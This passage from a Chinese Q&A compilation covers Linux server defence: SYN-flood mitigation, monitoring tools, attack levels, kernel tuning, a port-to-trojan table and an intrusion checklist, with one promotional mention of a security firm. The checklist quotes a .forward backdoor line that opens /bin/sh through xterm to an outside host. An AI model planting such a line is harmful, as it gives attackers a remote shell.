3:C發送ACK包,接著防火牆和C的連接就建立了。
4:防火牆這個時候扮演C的角色發送一個SYN給S
5:S返回一個SYN給C
6:防火牆扮演C發送一個ACK確認包給S,這個時候防火牆和S的連接也就建立了
7:防火牆轉發C和S間的數據
如果系統遭受SYN Flood,那麼第三步就不會有,而且無論在防火牆還是S都不會收到相應在第一步的SYN包,所以我們就擊退了這次SYN洪水攻 擊。
E. 如何監控linux伺服器的tcp連接
linux下監控軟體有很多啊 一般常用的是以下三種 mrtg----》》》 監控流量,cup負載,tcp連接數,磁碟空間等等 一般用來做流量監控,配置簡單 nagios--->>>> 用來監控主機與服務存活狀態,也可以監控負載與磁碟空間等等,帶郵件 與簡訊告警,配置稍微復雜點。 cacti----》》》強大的繪圖功能,十分漂亮,插件無數,可監控幾乎所有內容,缺點是安裝配置復雜,但現在有一鍵安裝盤,方便的很。 另外還有一個在國外用的很多的監控軟體:zabbix 這個也是非常強大的,沒裝過,你可以試試。
F. linux伺服器感覺被攻擊了,求高手解決
1、127.0.0.1是本機ip
2、可以用tcpmp -nn -i eth0檢查相應網卡發包
3、檢查httpd日誌
4、檢查/var/log/secure
5、netstat -ntlp檢查埠及對應進程,關閉沒用的埠
6、cat /etc/passwd 關閉沒有用的賬戶
7、ps -ef檢查所有進程,普通用戶如果弱密碼也可以被執行蠕蟲腳本,不斷發包用盡帶寬。
G. 雷網主機Linux伺服器被入侵時的處理辦法有哪些
隨著Linux企業應用的擴展,有大量的網路伺服器使用Linux操作系統。Linux伺服器的安全性能受到越來越多的關注,這里根據Linux伺服器受到攻擊的深度以級別形式列出,並提出不同的解決方案。 對Linux伺服器攻擊的定義是:攻擊是一種旨在妨礙、損害、削弱、破壞Linux伺服器安全的未授權行為。攻擊的范圍可以從服務拒絕直至完全危害和破壞Linux伺服器。對Linux伺服器攻擊有許多種類,本文從攻擊深度的角度說明,我們把攻擊分為四級。
攻擊級別一:服務拒絕攻擊(DoS)
由於DoS攻擊工具的泛濫,及所針對的協議層的缺陷短時無法改變的事實,DoS也就成為了流傳最廣、最難防範的攻擊方式。
服務拒絕攻擊包括分布式拒絕服務攻擊、反射式分布拒絕服務攻擊、DNS分布拒絕服務攻擊、FTP攻擊等。大多數服務拒絕攻擊導致相對低級的危險,即便是那些可能導致系統重啟的攻擊也僅僅是暫時性的問題。這類攻擊在很大程度上不同於那些想獲取網路控制的攻擊,一般不會對數據安全有影響,但是服務拒絕攻擊會持續很長一段時間,非常難纏。
到目前為止,沒有一個絕對的方法可以制止這類攻擊。但這並不表明我們就應束手就擒,除了強調個人主機加強保護不被利用的重要性外,加強對伺服器的管理是非常重要的一環。一定要安裝驗證軟體和過濾功能,檢驗該報文的源地址的真實地址。另外對於幾種服務拒絕可以採用以下措施:關閉不必要的服務、限制同時打開的Syn半連接數目、縮短Syn半連接的time out 時間、及時更新系統補丁。
攻擊級別二:本地用戶獲取了他們非授權的文件的讀寫許可權
本地用戶是指在本地網路的任一台機器上有口令、因而在某一驅動器上有一個目錄的用戶。本地用戶獲取到了他們非授權的文件的讀寫許可權的問題是否構成危險很大程度上要看被訪問文件的關鍵性。任何本地用戶隨意訪問臨時文件目錄(/tmp)都具有危險性,它能夠潛在地鋪設一條通向下一級別攻擊的路徑。
級別二的主要攻擊方法是:黑客誘騙合法用戶告知其機密信息或執行任務,有時黑客會假裝網路管理人員向用戶發送郵件,要求用戶給他系統升級的密碼。
由本地用戶啟動的攻擊幾乎都是從遠程登錄開始。對於Linux伺服器,最好的辦法是將所有shell賬號放置於一個單獨的機器上,也就是說,只在一台或多台分配有shell訪問的伺服器上接受注冊。這可以使日誌管理、訪問控制管理、釋放協議和其他潛在的安全問題管理更容易些。還應該將存放用戶CGI的系統區分出來。這些機器應該隔離在特定的網路區段,也就是說,根據網路的配置情況,它們應該被路由器或網路交換機包圍。其拓撲結構應該確保硬體地址欺騙也不能超出這個區段。
攻擊級別三:遠程用戶獲得特權文件的讀寫許可權
第三級別的攻擊能做到的不只是核實特定文件是否存在,而且還能讀寫這些文件。造成這種情況的原因是:Linux伺服器配置中出現這樣一些弱點:即遠程用戶無需有效賬號就可以在伺服器上執行有限數量的命令。
密碼攻擊法是第三級別中的主要攻擊法,損壞密碼是最常見的攻擊方法。密碼破解是用以描述在使用或不使用工具的情況下滲透網路、系統或資源以解鎖用密碼保護的資源的一個術語。用戶常常忽略他們的密碼,密碼政策很難得到實施。黑客有多種工具可以擊敗技術和社會所保護的密碼。主要包括:字典攻擊(Dictionary attack)、混合攻擊(Hybrid attack)、蠻力攻擊(Brute force attack)。一旦黑客擁有了用戶的密碼,他就有很多用戶的特權。密碼猜想是指手工進入普通密碼或通過編好程序的正本取得密碼。一些用戶選擇簡單的密碼-如生日、紀念日和配偶名字,卻並不遵循應使用字母、數字混合使用的規則。對黑客來說要猜出一串8個字生日數據不用花多長時間。
防範第三級別的攻擊的最好的防衛方法便是嚴格控制進入特權,即使用有效的密碼。 主要包括密碼應當遵循字母、數字、大小寫(因為Linux對大小寫是有區分)混合使用的規則。 使用象"#"或"%"或"$"這樣的特殊字元也會添加復雜性。例如採用"countbak"一詞,在它後面添加"#$"(countbak#$),這樣您就擁有了一個相當有效的密碼。
攻擊級別四:遠程用戶獲得根許可權
第四攻擊級別是指那些決不應該發生的事發生了,這是致命的攻擊。表示攻擊者擁有Linux伺服器的根、超級用戶或管理員許可權,可以讀、寫並執行所有文件。換句話說,攻擊者具有對Linux伺服器的全部控制權,可以在任何時刻都能夠完全關閉甚至毀滅此網路。
攻擊級別四主要攻擊形式是TCP/IP連續偷竊,被動通道聽取和信息包攔截。TCP/IP連續偷竊,被動通道聽取和信息包攔截,是為進入網路收集重要信息的方法,不像拒絕服務攻擊,這些方法有更多類似偷竊的性質,比較隱蔽不易被發現。一次成功的TCP/IP攻擊能讓黑客阻攔兩個團體之間的交易,提供中間人襲擊的良好機會,然後黑客會在不被受害者注意的情況下控制一方或雙方的交易。通過被動竊聽,黑客會操縱和登記信息,把文件送達,也會從目標系統上所有可通過的通道找到可通過的致命要害。黑客會尋找聯機和密碼的結合點,認出申請合法的通道。信息包攔截是指在目標系統約束一個活躍的聽者程序以攔截和更改所有的或特別的信息的地址。信息可被改送到非法系統閱讀,然後不加改變地送回給黑客。
TCP/IP連續偷竊實際就是網路嗅探,注意如果您確信有人接了嗅探器到自己的網路上,可以去找一些進行驗證的工具。這種工具稱為時域反射計量器(Time Domain Reflectometer,TDR)。TDR對電磁波的傳播和變化進行測量。將一個TDR連接到網路上,能夠檢測到未授權的獲取網路數據的設備。不過很多中小公司沒有這種價格昂貴的工具。對於防範嗅探器的攻擊最好的方法是:
1、安全的拓撲結構。嗅探器只能在當前網路段上進行數據捕獲。這就意味著,將網路分段工作進行得越細,嗅探器能夠收集的信息就越少。
2、會話加密。不用特別地擔心數據被嗅探,而是要想辦法使得嗅探器不認識嗅探到的數據。這種方法的優點是明顯的:即使攻擊者嗅探到了數據,這些數據對他也是沒有用的。
特別提示:應對攻擊的反擊措施
對於超過第二級別的攻擊您就要特別注意了。因為它們可以不斷的提升攻擊級別,以滲透Linux伺服器。此時,我們可以採取的反擊措施有: 首先備份重要的企業關鍵數據。 改變系統中所有口令,通知用戶找系統管理員得到新口令。 隔離該網路網段使攻擊行為僅出現在一個小范圍內。 允許行為繼續進行。如有可能,不要急於把攻擊者趕出系統,為下一步作準備。
記錄所有行為,收集證據。這些證據包括:系統登錄文件、應用登錄文件、AAA(Authentication、Authorization、 Accounting,認證、授權、計費)登錄文件,RADIUS(Remote Authentication
Dial-In User Service) 登錄,網路單元登錄(Network Element Logs)、防火牆登錄、HIDS(Host-base IDS,基於主機的入侵檢測系統) 事件、NIDS(網路入侵檢測系統)事件、磁碟驅動器、隱含文件等。收集證據時要注意:在移動或拆卸任何設備之前都要拍照;在調查中要遵循兩人法則,在信息收集中要至少有兩個人,以防止篡改信息;應記錄所採取的所有步驟以及對配置設置的任何改變,要把這些記錄保存在安全的地方。檢查系統所有目錄的存取許可,檢測Permslist是否被修改過。
進行各種嘗試(使用網路的不同部分)以識別出攻擊源。
為了使用法律武器打擊犯罪行為,必須保留證據,而形成證據需要時間。為了做到這一點,必須忍受攻擊的沖擊(雖然可以制定一些安全措施來確保攻擊不損害網路)。對此情形,我們不但要採取一些法律手段,而且還要至少請一家有權威的安全公司協助阻止這種犯罪。這類操作的最重要特點就是取得犯罪的證據、並查找犯罪者的地址,提供所擁有的日誌。對於所搜集到的證據,應進行有效地保存。在開始時製作兩份,一個用於評估證據,另一個用於法律驗證。
找到系統漏洞後設法堵住漏洞,並進行自我攻擊測試。
網路安全已經不僅僅是技術問題,而是一個社會問題。企業應當提高對網路安全重視,如果一味地只依靠技術工具,那就會越來越被動;只有發揮社會和法律方面打擊網路犯罪,才能更加有效。我國對於打擊網路犯罪已經有了明確的司法解釋,遺憾的是大多數企業只重視技術環節的作用而忽略法律、社會因素,這也是本文的寫作目的。
拒絕服務攻擊(DoS)
DoS即Denial Of Service,拒絕服務的縮寫,可不能認為是微軟的DOS操作系統!DoS攻擊即讓目標機器停止提供服務或資源訪問,通常是以消耗伺服器端資源為目標,通過偽造超過伺服器處理能力的請求數據造成伺服器響應阻塞,使正常的用戶請求得不到應答,以實現攻擊目的。
H. Linux系統如何抵禦TCP洪水攻擊
#最關鍵參數,默認為5,修改為0 表示不要重發
net.ipv4.tcp_synack_retries = 0
#半連接隊列長度
net.ipv4.tcp_max_syn_backlog = 200000
#系統允許的文件句柄的最大數目,因為連接需要佔用文件句柄
fs.file-max = 819200
#用來應對突發的大並發connect 請求
net.core.somaxconn = 65536
#最大的TCP 數據接收緩沖(位元組)
net.core.rmem_max = 1024123000
#最大的TCP 數據發送緩沖(位元組)
net.core.wmem_max = 16777216
#網路設備接收數據包的速率比內核處理這些包的速率快時,允許送到隊列的數據包的最大數目
net.core.netdev_max_backlog = 165536
#本機主動連接其他機器時的埠分配范圍
net.ipv4.ip_local_port_range = 10000 65535
為了處理大量連接,還需改大另一個參數:
# vi /etc/security/limits.conf
在底下添加一行表示允許每個用戶都最大可打開409600個文件句柄(包括連接):
* – nofile 409600
I. 求教:黑客一般都是怎麼攻擊各種埠
黑客常用埠(實際上每個埠黑客都會想辦法利用的)
埠:102
服務:Message transfer agent(MTA)-X.400 over TCP/IP
說明:消息傳輸代理。
埠:113
服務:Authentication Service
說明:這是一個許多計算機上運行的協議,用於鑒別TCP連接的用戶。使用標準的這種服務可以獲得許多計算機的信息。但是它可作為許多服務的記錄器,尤其是FTP、POP、IMAP、SMTP和IRC等服務。通常如果有許多客戶通過防火牆訪問這些服務,將會看到許多這個埠的連接請求。記住,如果阻斷這個埠客戶端會感覺到在防火牆另一邊與E-MAIL伺服器的緩慢連接。許多防火牆支持TCP連接的阻斷過程中發回RST。這將會停止緩慢的連接。
埠:119
服務:Network News Transfer Protocol
說明:NEWS新聞組傳輸協議,承載USENET通信。這個埠的連接通常是人們在尋找USENET伺服器。多數ISP限制,只有他們的客戶才能訪問他們的新聞組伺服器。打開新聞組伺服器將允許發/讀任何人的帖子,訪問被限制的新聞組伺服器,匿名發帖或發送SPAM。
埠:135
服務:Location Service
說明:Microsoft在這個埠運行DCE RPC end-point mapper為它的DCOM服務。這與UNIX
111埠的功能很相似。使用DCOM和RPC的服務利用計算機上的end-point
mapper注冊它們的位置。遠端客戶連接到計算機時,它們查找end-point
mapper找到服務的位置。HACKER掃描計算機的這個埠是為了找到這個計算機上運行Exchange
Server嗎?什麼版本?還有些DOS攻擊直接針對這個埠。
埠:137
說明:SQL Named Pipes encryption over other protocols name
lookup(其他協議名稱查找上的SQL命名管道加密技術)和SQL RPC encryption over other protocols name
lookup(其他協議名稱查找上的SQL RPC加密技術)和Wins NetBT name service(WINS NetBT名稱服務)和Wins
Proxy都用這個埠。
埠:137、138、139
服務:NETBIOS Name Service
說明:其中137、138是UDP埠,當通過網上鄰居傳輸文件時用這個埠。而139埠:通過這個埠進入的連接試圖獲得NetBIOS/SMB服務。這個協議被用於windows文件和列印機共享和SAMBA。還有WINS
Regisrtation也用它。
埠:143
服務:Interim Mail Access Protocol v2
說明:和POP3的安全問題一樣,許多IMAP伺服器存在有緩沖區溢出漏洞。記住:一種LINUX蠕蟲(admv0rm)會通過這個埠繁殖,因此許多這個埠的掃描來自不知情的已經被感染的用戶。當REDHAT在他們的LINUX發布版本中默認允許IMAP後,這些漏洞變的很流行。這一埠還被用於IMAP2,但並不流行。
埠:161
服務:SNMP (Simple Network Management Protocol) (簡單網路管理協議)
說明:SNMP允許遠程管理設備。所有配置和運行信息的儲存在資料庫中,通過SNMP可獲得這些信息。許多管理員的錯誤配置將被暴露在Internet。Cackers將試圖使用默認的密碼public、private訪問系統。他們可能會試驗所有可能的組合。SNMP包可能會被錯誤的指向用戶的網路。
埠:162
說明:SNMP Trap(SNMP陷阱)
埠:177
服務:X Display Manager Control Protocol
說明:許多入侵者通過它訪問X-windows操作台,它同時需要打開6000埠。
埠:389
服務:LDAP、ILS
說明:輕型目錄訪問協議和NetMeeting Internet Locator Server共用這一埠。
埠:443
服務:Https
說明:網頁瀏覽埠,能提供加密和通過安全埠傳輸的另一種HTTP。
埠:445
說明:Common Internet File System(CIFS)(公共Internet文件系統)
埠:456
服務:[NULL]
說明:木馬HACKERS PARADISE開放此埠。
埠:464
說明:Kerberos kpasswd(v5)。另外TCP的464埠也是這個用途。
埠:500
說明:Internet Key Exchange(IKE)(Internet密鑰交換)
埠:513
服務:Login,remote login
說明:是從使用cable modem或DSL登陸到子網中的UNIX計算機發出的廣播。這些人為入侵者進入他們的系統提供了信息。
埠:544
服務:[NULL]
說明:kerberos kshell
埠:548
服務:Macintosh,File Services(AFP/IP)
說明:Macintosh,文件服務。
埠:553
服務:CORBA IIOP (UDP)
說明:使用cable modem、DSL或VLAN將會看到這個埠的廣播。CORBA是一種面向對象的RPC系統。入侵者可以利用這些信息進入系統。
埠:555
服務:DSF
說明:木馬PhAse1.0、Stealth Spy、IniKiller開放此埠。
埠:568
服務:Membership DPA
說明:成員資格 DPA。
埠:569
服務:Membership MSN
說明:成員資格 MSN。
埠:635
服務:mountd
說明:Linux的mountd
Bug。這是掃描的一個流行BUG。大多數對這個埠的掃描是基於UDP的,但是基於TCP的mountd有所增加(mountd同時運行於兩個埠)。記住mountd可運行於任何埠(到底是哪個埠,需要在埠111做portmap查詢),只是Linux默認埠是635,就像NFS通常運行於2049埠。
埠:636
服務:LDAP
說明:SSL(Secure Sockets layer)
埠:666
服務:Doom Id Software
說明:木馬Attack FTP、Satanz Backdoor開放此埠
埠:993
服務:IMAP
說明:SSL(Secure Sockets layer)
TCP 7=Echo
TCP 20=FTP Data
TCP 21=Back Construction, Blade Runner, Doly Trojan, Fore, FTP trojan,
Invisible FTP, Larva, WebEx, WinCrash
TCP 23=Telnet, Tiny Telnet Server (= TTS)
TCP 25=SMTP, Ajan, Antigen, Email Password Sender, Happy 99, Kuang2,
ProMail trojan, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy
TCP 31=Agent 31, Hackers Paradise, Masters Paradise
TCP 41=DeepThroat
TCP 43=WHOIS
TCP 53=DNS,Bonk (DOS Exploit)
TCP 59=DMSetup
TCP 70=Gopher
TCP 79=Firehotcker, Finger
TCP 80=Http伺服器, Executor, RingZero
TCP 99=Hidden Port
TCP 110=Pop3伺服器, ProMail
TCP 113=Kazimas, Auther Idnet
TCP 119=Nntp, Happy 99
TCP 121=JammerKiller, Bo jammerkillah
TCP 137=NetBios-NS
TCP 138=NetBios-DGN
TCP 139=NetBios-SSN
TCP 143=IMAP
TCP 161=Snmp
TCP 162=Snmp-Trap
TCP 194=Irc
TCP 421=TCP Wrappers
TCP 456=Hackers paradise
TCP 531=Rasmin
TCP 555=Ini-Killer, Phase Zero, Stealth Spy
TCP 666=Attack FTP, Satanz Backdoor
TCP 808=RemoteControl
TCP 911=Dark Shadow
TCP 999=DeepThroat
TCP 1001=Silencer, WebEx
TCP 1010=Doly
TCP 1011=Doly
TCP 1012=Doly
TCP 1015=Doly
TCP 1024=NetSpy.698(YAI)
TCP 1025=NetSpy.698
TCP 1033=Netspy
TCP 1042=Bla
TCP 1045=Rasmin
TCP 1047=GateCrasher
TCP 1080=Wingate
TCP 1090=Xtreme, VDOLive
TCP 1170=Psyber Stream Server, Streaming Audio trojan
TCP 1234=Ultors
TCP 1243=BackDoor-G, SubSeven, SubSeven Apocalypse
TCP 1245=VooDoo Doll
TCP 1269=Mavericks Matrix
TCP 1492=FTP99CMP(BackOriffice.FTP)
TCP 1509=Psyber Streaming Server
TCP 1600=Shivka-Burka
TCP 1807=SpySender
TCP 1981=Shockrave
TCP 1999=BackDoor, TransScout
TCP 2001=TrojanCow
TCP 2023=Ripper, Pass Ripper
TCP2115=Bugs
TCP 2140=Deep Throat, The Invasor
TCP 2155=Illusion Mailer
TCP 2283=HVL Rat5
TCP2565=Striker
TCP 2583=WinCrash
TCP 2600=Digital RootBeer
TCP2801=Phineas Phucker
TCP3024=WinCrash trojan
TCP 3128=RingZero
TCP 3129=Masters Paradise
TCP 3150=Deep Throat, The Invasor
TCP 3210=SchoolBus
TCP 3459=Eclipse 2000
TCP 3700=Portal of Doom
TCP 3791=Eclypse
TCP 4000=騰訊OICQ客戶端
TCP 4092=WinCrash
TCP 4321=BoBo
TCP 4567=File Nail
TCP 4590=ICQTrojan
TCP 5000=Bubbel, Back Door Setup, Sockets de Troie
TCP 5001=Back Door Setup, Sockets de Troie
TCP 5011=One of the Last Trojans (OOTLT)
TCP 5031=Firehotcker
TCP 5190=ICQ Query
TCP 5321=Firehotcker
TCP 5400=Blade Runner, BackConstruction1.2
TCP 5401=Blade Runner
TCP 5402=Blade Runner
TCP 5550=Xtcp
TCP 5555=ServeMe
TCP 5556=BO Facil
TCP 5557=BO Facil
TCP 5569=Robo-Hack
TCP 5631=PCAnyWhere data
TCP 5714=Wincrash3
TCP 5742=WinCrash
TCP 6400=The Thing
TCP 6667=NT Remote Control
TCP 6669=Vampyre
TCP 6670=DeepThroat
TCP 6711=SubSeven
TCP 6771=DeepThroat
TCP 6776=BackDoor-G, SubSeven
TCP 6883=DeltaSource
TCP 6912=Shit Heep
TCP 6939=Indoctrination
TCP 6969=GateCrasher, Priority, IRC 3
TCP 6970=GateCrasher
TCP 7000=Remote Grab
TCP 7300=NetMonitor
TCP 7301=NetMonitor
TCP 7306=NetMonitor
TCP 7307=NetMonitor, ProcSpy
TCP 7308=NetMonitor, X Spy
TCP 7323=Sygate伺服器端
TCP 7626=冰河
TCP 7789=Back Door Setup, ICKiller
TCP 8000=XDMA, 騰訊OICQ伺服器端
TCP 8010=Logfile
TCP 8080=WWW 代理, Ring Zero
TCP 9400=InCommand
TCP 9401=InCommand
TCP 9402=InCommand
TCP 9872=Portal of Doom
TCP 9873=Portal of Doom
TCP 9874=Portal of Doom
TCP 9875=Portal of Doom
TCP 9876=Cyber Attacker
TCP 9878=TransScout
TCP 9989=Ini-Killer
TCP 10101=BrainSpy
TCP 10167=Portal Of Doom
TCP 10520=Acid Shivers
TCP 10607=Coma trojan
TCP 11000=Senna Spy
TCP 11223=Progenic
TCP 12076=Gjamer, MSH.104b
TCP 12223=Hack?9 KeyLogger
TCP 12345=GabanBus, NetBus, Pie Bill Gates, X-bill
TCP 12346=GabanBus, NetBus, X-bill
TCP 12361=Whack-a-mole
TCP 12362=Whack-a-mole
TCP 12631=WhackJob
TCP 13000=Senna Spy
TCP 16969=Priority
TCP 17300=Kuang2 The Virus
TCP 20000=Millennium II (GrilFriend)
TCP 20001=Millennium II (GrilFriend)
TCP 20034=NetBus 2 Pro
TCP 20203=Logged
TCP 20331=Bla
TCP 21544=Schwindler 1.82, GirlFriend
TCP 22222=Prosiak
TCP 23456=Evil FTP, Ugly FTP, WhackJob
TCP 23476=Donald Dick
TCP 23477=Donald Dick
TCP 27374=Sub Seven 2.0+
TCP 29891=The Unexplained
TCP 30029=AOL trojan
TCP 30100=NetSphere 1.27a, NetSphere 1.31
TCP 30101=NetSphere 1.31, NetSphere 1.27a
TCP 30102=NetSphere 1.27a, NetSphere 1.31
TCP 30103=NetSphere 1.31
TCP 30303=Sockets de Troie
TCP 30999=Kuang2
TCP 31336=Bo Whack
TCP 31337=Baron Night, BO client, BO2, Bo Facil, BackFire, Back Orifice,
DeepBO
TCP 31339=NetSpy DK
TCP 31666=BOWhack
TCP 31785=Hack Attack
TCP 31787=Hack Attack
TCP 31789=Hack Attack
TCP 31791=Hack Attack
TCP 33333=Prosiak
TCP 33911=Spirit 2001a
TCP 34324=BigGluck, TN
TCP 40412=The Spy
TCP 40421=Agent 40421, Masters Paradise.96
TCP 40422=Masters Paradise
TCP 40423=Masters Paradise.97
TCP 40426=Masters Paradise
TCP 47878=BirdSpy2
TCP 50505=Sockets de Troie
TCP 50766=Fore, Schwindler
TCP 53001=Remote Windows Shutdown
TCP 54320=Back Orifice 2000
TCP 54321=School Bus .69-1.11
TCP 60000=Deep Throat
TCP 61466=Telecommando
TCP 65000=Devil
UDP 1349=BO dll
UDP 2989=RAT
UDP 3801=Eclypse
UDP 10067=Portal of Doom
UDP 10167=Portal of Doom
UDP 26274=Delta Source
UDP 29891=The Unexplained
UDP 31337=Baron Night, BO client, BO2, Bo Facil, BackFire, Back Orifice,
DeepBO
UDP 31338=Back Orifice, NetSpy DK, DeepBO
UDP 31789=Hack aTack
UDP 31791=Hack aTack
UDP 47262=Delta Source
UDP 54321=Back Orifice 2000
黑客常用軟體以及方法
http://www..com/s?ie=gb2312&bs=%BA%DA%BF%CD%B3%A3%D3%C3%B6%CB%BF%DA&sr=&z=&cl=3&f=8&wd=%BA%DA%BF%CD%B3%A3%D3%C3%C8%ED%BC%FE&ct=0
J. Linux伺服器是否被攻擊怎麼判斷
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。
1
awk –F:』$3==0{print$1}』/etc/passwd
順便再檢查一下系統里有沒有空口令帳戶:
1
awk –F: 『length($2)==0{print$1}』/etc/shadow
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd
inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J
UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。
接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的後門文件,如果想檢查你的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:
find / -name 「.rhosts」 –print
find / -name 「.forward」 –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。
看到這里如果想要深入的做安全加固服務以及安全部署
就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:
username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果你運行如下命令:
ln -s /var/mail/luser ~/.forward
然後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個文件也可以。
8、檢查系統文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談一下login後門 :
UNIX里,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。
LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麼有點象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。
9、檢查內核級後門
如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這里需要說明的是,一般默認安裝的LINUX載入的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被載入了後門模塊,但是在模塊列表/proc/mole里又看不到它們,有可能是使用了hack工具來移除載入的模塊,大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。